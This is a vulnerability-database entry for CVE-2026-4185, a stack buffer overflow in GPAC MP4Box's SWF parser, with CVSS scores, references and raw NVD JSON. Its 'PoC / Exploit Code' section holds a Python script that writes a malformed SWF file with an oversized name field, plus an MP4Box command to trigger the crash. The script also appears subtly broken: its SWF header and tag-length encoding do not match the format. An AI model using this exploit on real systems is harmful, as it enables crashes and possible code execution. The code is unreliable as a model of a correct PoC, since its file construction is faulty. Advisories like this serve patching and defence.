Security Vulnerability Report
中文
CVE-2026-4185 CVSS 6.3 MEDIUM

CVE-2026-4185

Published: 2026-03-16 14:20:00
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in GPAC up to 2.5-DEV-rev2167-gcc9d617c0-master. This vulnerability affects the function swf_def_bits_jpeg of the file src/scene_manager/swf_parse.c of the component MP4Box. The manipulation of the argument szName results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as 8961c74f87ae3fe2d3352e622f7730ca96d50cf1. A patch should be applied to remediate this issue.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GPAC < 2.5-DEV-rev2167-gcc9d617c0-master
GPAC 2.5-DEV-rev2167-gcc9d617c0-master及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os def create_malicious_swf(): """ PoC for CVE-2026-4185: GPAC MP4Box swf_def_bits_jpeg Stack Buffer Overflow This PoC creates a malicious SWF file that triggers stack buffer overflow in swf_def_bits_jpeg function via oversized szName parameter. """ # SWF Header swf_header = b'FWS' # SWF signature swf_header += struct.pack('<I', 1000) # Version swf_header += struct.pack('<I', 100000) # File length # Create oversized szName to trigger overflow # The szName field in SWF is copied to stack buffer without proper bounds checking overflow_size = 1024 # Larger than typical stack buffer malicious_szName = b'A' * overflow_size + b'\x00' # Construct SWF tag for DefineBitsJPEG tag_type = 0x15 # DefineBitsJPEG tag type tag_length = len(malicious_szName) + 10 # Tag header tag_header = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F)) if tag_length > 0x3F: tag_header += struct.pack('>I', tag_length) # Character ID character_id = struct.pack('<H', 1) # Malicious data malicious_data = malicious_szName # Combine all parts poc_swf = swf_header + tag_header + character_id + malicious_data # Write PoC file with open('CVE-2026-4185_poc.swf', 'wb') as f: f.write(poc_swf) print(f"[+] Created PoC file: CVE-2026-4185_poc.swf ({len(poc_swf)} bytes)") print(f"[+] Overflow payload size: {overflow_size} bytes") print("[+] Usage: MP4Box -avi 2 -out test.avi CVE-2026-4185_poc.swf") if __name__ == '__main__': create_malicious_swf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4185", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:59.700", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in GPAC up to 2.5-DEV-rev2167-gcc9d617c0-master. This vulnerability affects the function swf_def_bits_jpeg of the file src/scene_manager/swf_parse.c of the component MP4Box. The manipulation of the argument szName results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as 8961c74f87ae3fe2d3352e622f7730ca96d50cf1. A patch should be applied to remediate this issue."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en GPAC hasta 2.5-DEV-rev2167-gcc9d617c0-master. Esta vulnerabilidad afecta a la función swf_def_bits_jpeg del archivo src/scene_manager/swf_parse.c del componente MP4Box. La manipulación del argumento szName resulta en desbordamiento de búfer basado en pila. Es posible lanzar el ataque remotamente. El exploit ha sido hecho público y podría ser usado. El parche se identifica como 8961c74f87ae3fe2d3352e622f7730ca96d50cf1. Un parche debería aplicarse para remediar este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/PeterXukt/test_pocs/blob/main/gpac/test.swf", "source": "[email protected]"}, {"url": "https://github.com/gpac/gpac/", "source": "[email protected]"}, {"url": "https://github.com/gpac/gpac/commit/8961c74f87ae3fe2d3352e622f7730ca96d50cf1", "source": "[email protected]"}, {"url": "https://github.com/gpac/gpac/issues/3436", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351091", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351091", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769840", "source": "[email protected]"}]}}